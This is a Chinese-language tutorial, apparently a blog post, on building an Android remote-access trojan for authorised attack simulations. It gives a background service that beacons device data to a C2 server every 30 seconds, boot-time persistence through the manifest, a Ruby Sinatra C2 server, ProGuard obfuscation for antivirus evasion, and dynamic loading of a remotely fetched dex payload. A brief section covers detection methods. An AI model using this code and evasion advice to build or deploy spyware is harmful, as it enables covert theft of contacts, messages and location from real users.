<pre><code class="language-markdown">## 0x01 从架构到木马——构建安卓远控的思路

有一次，我接到一个任务，需要为模拟攻防环境制作一款具备远程控制功能的安卓木马。其实，当你第一次面对这样的任务时，思路梳理清楚往往比技术细节更重要。先想想我们需要实现什么功能？目标用户的行为模式是什么？木马的通信架构怎么设计？这些问题决定了我们开发的方向。

核心目标是：

  1. 收集目标设备的敏感信息（如地理位置、通讯录、短信、通话记录等）。
  2. 实现远程控制功能（如屏幕录制、摄像头拍照、文件管理等）。
  3. 隐秘性强，能够绕过杀软检测，同时能长时间驻留。

基本架构设计：

  • 客户端（恶意 APK）：运行在安卓设备上的核心部分，负责窃取数据、实施远控命令。
  • C2服务器：攻击者用来管理受控设备的后台，用于接收客户端的数据、发送指令。
  • 通信协议：选择 HTTP 或 WebSocket 通信，通过加密或混淆规避流量检测。

接下来，我们分步骤地实现一个安卓远控木马的基础版本。注意，本文仅限用于合法授权的安全测试，任何非法使用与作者无关。

---

0x02 从零开始搭建环境

在讲代码之前，先简单聊聊环境配置。没有一个好的调试环境，后面的开发和测试会异常痛苦。

1. 准备开发工具

  • Android Studio：安卓开发的主力工具，强烈建议使用最新版。
  • Virtual Android Emulator 或 Genymotion：一个方便的模拟测试环境。
  • Ruby + Sinatra：用来搭建 C2 服务器，我会用 Ruby 写服务器端代码。

安装所需依赖：</code></pre>shell sudo apt update sudo apt install -y ruby-full build-essential android-sdk sudo gem install sinatra <pre><code>

2. 定制化安卓模拟器

安卓木马测试一个关键点就是模拟真实用户的行为，所以我们需要定制化模拟器，比如：

  • 导入一些联系人到设备里；
  • 添加几条短信记录；
  • 甚至用模拟器登录一个 Gmail。

这些操作可以通过 Android Debug Bridge (ADB) 快速完成，比如：</code></pre>shell adb shell pm install /path/to/sample.apk # 安装应用 adb shell am start -n com.example/.MainActivity # 启动主活动 adb push fake_contacts.vcf /sdcard/ # 导入虚拟联系人 adb shell content insert ... # 批量插入虚假短信 <pre><code> ---

0x03 木马的核心代码实现

1. 制作恶意 APK 的基本模块

这次用的是 Android Studio 新建的空项目，项目结构如下：</code></pre> MyRAT/ |-- app/ | |-- src/ | |-- main/ | |-- java/com/example/myrat/ | | |-- MainActivity.java # 主界面逻辑 | | |-- RATService.java # 后台服务 | |-- res/ |-- build.gradle # 构建配置 <pre><code> 编写一个后门服务类：</code></pre>java package com.example.myrat;

import android.app.Service; import android.content.Intent; import android.os.IBinder; import android.util.Log;

public class RATService extends Service {

private static final String TAG = "RATService";

@Override public void onCreate() { super.onCreate(); Log.d(TAG, "恶意服务已启动"); // 初始化C2通信、权限检查等操作 startC2Communication(); }

@Override public int onStartCommand(Intent intent, int flags, int startId) { Log.d(TAG, "RAT服务正在运行"); // 监听来自C2服务器的命令 return START_STICKY; }

@Override public IBinder onBind(Intent intent) { return null; // 不用绑定 }

private void startC2Communication() { // 这里可以利用HTTP或者Socket通信 new Thread(() -> { while (true) { try { // 模拟发送设备信息到C2 sendDeviceInfoToC2(); Thread.sleep(30000); // 每隔30秒发送一次 } catch (InterruptedException e) { e.printStackTrace(); } } }).start(); }

private void sendDeviceInfoToC2() { // 实现与C2服务器的网络通信 Log.d(TAG, "发送设备信息到C2"); } } <pre><code> 在 APK 启动时加载 RAT 服务： 修改 AndroidManifest.xml：</code></pre>xml <service android:name=".RATService" android:exported="false" /> <receiver android:name=".BootCompletedReceiver"> <intent-filter> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> </receiver> <pre><code> 这样，木马服务可以在设备启动时自动运行。

---

2. C2 服务器的简单实现

使用 Ruby + Sinatra 快速搭建一个控制端：</code></pre>ruby require 'sinatra' require 'json'

set :bind, '0.0.0.0' set :port, 8080

存储受控设备信息

devices = {}

接收设备数据

post '/report' do data = JSON.parse(request.body.read) devices[data['id']] = data "OK" end

向设备发送命令

get '/command/:id' do device_id = params['id'] if devices[device_id]

这里可以动态返回命令，比如截图、拍照等

{ command: "screenshot" }.to_json else halt 404, "Device not found" end end <pre><code> ---

0x04 绕过检测——免杀的细节

这里是最有意思的部分，也是最挑战防守方的地方。

1. 加壳与混淆

在 APK 最终生成之前，我们可以使用工具对代码进行混淆，比如 ProGuard：</code></pre>text -dontwarn com.example.myrat. -keep class com.example.myrat. { *; } -obfuscate <pre><code>混淆后的代码不仅难以分析，还能绕过一部分静态分析工具。

2. 动态加载代码

将核心逻辑分离为 .dex 文件，在运行时从远程服务器下载并动态加载，可以进一步提高隐秘性。

示例代码：</code></pre>java DexClassLoader dexClassLoader = new DexClassLoader("/sdcard/remote_payload.dex", getDir("dex", 0).getAbsolutePath(), null, getClassLoader()); Class<?> clazz = dexClassLoader.loadClass("com.example.remote.Payload"); Method method = clazz.getMethod("execute", Context.class); method.invoke(null, this); <pre><code> ---

黑客示意图

0x05 攻击与防守的较量

对于防守方来说，检测安卓木马的主要手段包括：

  1. 行为分析：监控网络流量的可疑通信模式。
  2. 签名检测：比对 APK 文件是否包含已知恶意代码。
  3. 动态沙箱：通过模拟运行，观察应用是否有恶意行为。

黑客示意图

---

0x06 经验与教训

教训一：不要低估用户的安全意识 有一次，我的测试木马在模拟的企业环境中被发现了，原因竟然是用户发现了一个多余的服务在后台偷偷运行。所以，木马的伪装性一定要足够强！

教训二：数据加密很重要 如果 C2 和木马通信的内容没有加密，很容易被中间人攻击捕获，这会导致测试的失败。

黑客示意图

---

以上内容仅供合法授权的安全测试使用，切勿用于非法用途。</code></pre>